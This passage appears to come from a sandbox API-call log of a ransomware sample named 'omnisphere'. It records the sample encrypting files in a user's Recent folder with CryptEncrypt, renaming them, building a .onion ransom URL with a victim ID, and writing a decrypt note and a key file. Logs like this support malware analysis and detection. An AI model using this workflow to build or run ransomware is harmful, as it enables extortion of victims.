pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.589] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.589] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.589] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.589] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.589] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.589] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.589] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.589] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.589] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.589] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.589] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.589] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.589] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.589] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.589] CryptDestroyKey (hKey=0x16396e8) returned 1 [0127.589] CryptReleaseContext (hProv=0x1668f88, dwFlags=0x0) returned 1 [0127.589] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x633, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0127.589] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0127.590] GetProcessHeap () returned 0x1600000 [0127.590] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2b8) returned 0x16f39f0 [0127.590] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\YznNfbrntMwZcMW.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\yznnfbrntmwzcmw.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\YznNfbrntMwZcMW.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\yznnfbrntmwzcmw.lnk.omnisphere")) returned 1 [0127.591] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\YznNfbrntMwZcMW.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\YznNfbrntMwZcMW.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\YznNfbrntMwZcMW.lnk.omnisphere.id" [0127.591] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\YznNfbrntMwZcMW.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\yznnfbrntmwzcmw.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0127.591] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0127.593] CloseHandle (hObject=0x3c0) returned 1 [0127.593] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0127.593] CloseHandle (hObject=0x288) returned 1 [0127.593] SetEndOfFile (hFile=0x28c) returned 1 [0127.593] FlushFileBuffers (hFile=0x28c) returned 1 [0127.598] CloseHandle (hObject=0x28c) returned 1 [0127.599] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\YznNfbrntMwZcMW.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0127.599] GetProcessHeap () returned 0x1600000 [0127.599] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16f4398 [0127.599] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0127.599] GetProcessHeap () returned 0x1600000 [0127.599] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16f1988 [0127.599] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16f1988, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0127.599] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0127.599] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0127.599] GetProcessHeap () returned 0x1600000 [0127.599] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16d8288 [0127.599] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16d8288, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0127.599] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0127.599] GetProcessHeap () returned 0x1600000 [0127.599] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16f60a0 [0127.599] PathCombineW (in: pszDest=0x16f60a0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0127.599] GetProcessHeap () returned 0x1600000 [0127.599] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1705168 [0127.599] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.600] WriteFile (in: hFile=0x28c, lpBuffer=0x1705168*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x1705168*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0127.600] CloseHandle (hObject=0x28c) returned 1 [0127.600] GetProcessHeap () returned 0x1600000 [0127.600] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16f4398 | out: hHeap=0x1600000) returned 1 [0127.600] GetProcessHeap () returned 0x1600000 [0127.600] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162e0a8 [0127.600] PathCombineW (in: pszDest=0x162e0a8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0127.600] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.600] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0127.600] CloseHandle (hObject=0x28c) returned 1 [0127.601] GetProcessHeap () returned 0x1600000 [0127.601] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162e0a8 | out: hHeap=0x1600000) returned 1 [0127.601] GetProcessHeap () returned 0x1600000 [0127.601] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0127.601] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20b8dc4d, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2307413b, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2307413b, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x3e4, dwReserved0=0x0, dwReserved1=0xd3, cFileName="Z -FpX (2).lnk", cAlternateFileName="Z-FPX(~1.LNK")) returned 1 [0127.601] GetProcessHeap () returned 0x1600000 [0127.601] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x9e) returned 0x1656628 [0127.601] PathCombineW (in: pszDest=0x1656628, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="Z -FpX (2).lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Z -FpX (2).lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Z -FpX (2).lnk" [0127.601] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0127.601] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Z -FpX (2).lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\z -fpx (2).lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.601] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=996) returned 1 [0127.601] GetTickCount () returned 0x115fd67 [0127.601] GetTickCount () returned 0x115fd67 [0127.601] GetTickCount () returned 0x115fd67 [0127.601] GetTickCount () returned 0x115fd67 [0127.601] GetTickCount () returned 0x115fd67 [0127.601] GetTickCount () returned 0x115fd67 [0127.601] GetTickCount () returned 0x115fd67 [0127.601] GetTickCount () returned 0x115fd67 [0127.601] GetTickCount () returned 0x115fd67 [0127.602] GetTickCount () returned 0x115fd67 [0127.602] GetTickCount () returned 0x115fd67 [0127.602] GetTickCount () returned 0x115fd67 [0127.602] GetTickCount () returned 0x115fd67 [0127.602] GetTickCount () returned 0x115fd67 [0127.602] GetTickCount () returned 0x115fd67 [0127.602] GetTickCount () returned 0x115fd67 [0127.602] GetTickCount () returned 0x115fd67 [0127.602] GetTickCount () returned 0x115fd67 [0127.602] GetTickCount () returned 0x115fd67 [0127.602] GetTickCount () returned 0x115fd67 [0127.602] GetTickCount () returned 0x115fd67 [0127.602] GetTickCount () returned 0x115fd67 [0127.602] GetTickCount () returned 0x115fd67 [0127.602] GetTickCount () returned 0x115fd67 [0127.602] GetTickCount () returned 0x115fd67 [0127.602] GetTickCount () returned 0x115fd67 [0127.602] GetTickCount () returned 0x115fd67 [0127.602] GetTickCount () returned 0x115fd67 [0127.602] GetTickCount () returned 0x115fd67 [0127.602] GetTickCount () returned 0x115fd67 [0127.602] GetTickCount () returned 0x115fd67 [0127.602] GetTickCount () returned 0x115fd67 [0127.602] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1668bd0) returned 1 [0127.603] CryptImportKey (in: hProv=0x1668bd0, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639b28) returned 1 [0127.603] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0127.603] CryptDestroyKey (hKey=0x1639b28) returned 1 [0127.603] CryptReleaseContext (hProv=0x1668bd0, dwFlags=0x0) returned 1 [0127.603] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3e4, lpName=0x0) returned 0x288 [0127.603] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3e4) returned 0x1480000 [0127.603] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x16691a8) returned 1 [0127.604] CryptImportKey (in: hProv=0x16691a8, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639b28) returned 1 [0127.604] CryptSetKeyParam (hKey=0x1639b28, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0127.604] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0127.604] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.604] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.604] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.604] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.604] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.604] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.604] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.604] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.604] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.604] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.604] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.604] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.604] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.605] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.605] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.605] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.605] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.605] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.605] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.605] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.605] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.605] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.605] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.605] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.605] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.605] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.605] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.605] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.605] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.605] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.605] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.605] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.605] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.605] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.605] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.605] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.605] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.605] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.605] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.606] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, 